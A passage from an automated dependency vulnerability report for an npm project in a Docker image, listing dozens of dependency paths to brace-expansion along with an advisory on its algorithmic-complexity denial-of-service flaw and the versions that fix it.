  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1

Overview

brace-expansion is a Brace expansion as known from sh/bash

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the expand function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The max option does not prevent this issue, as it only limits the output size and not the computational workload.

Remediation

Upgrade brace-expansion to version 1.1.16, 2.1.2, 5.0.7 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: brace-expansion
  • Introduced through: rag-builder@1.0.0, glob@8.1.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › glob@8.1.0 › minimatch@5.1.6 › brace-expansion@2.0.2
  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
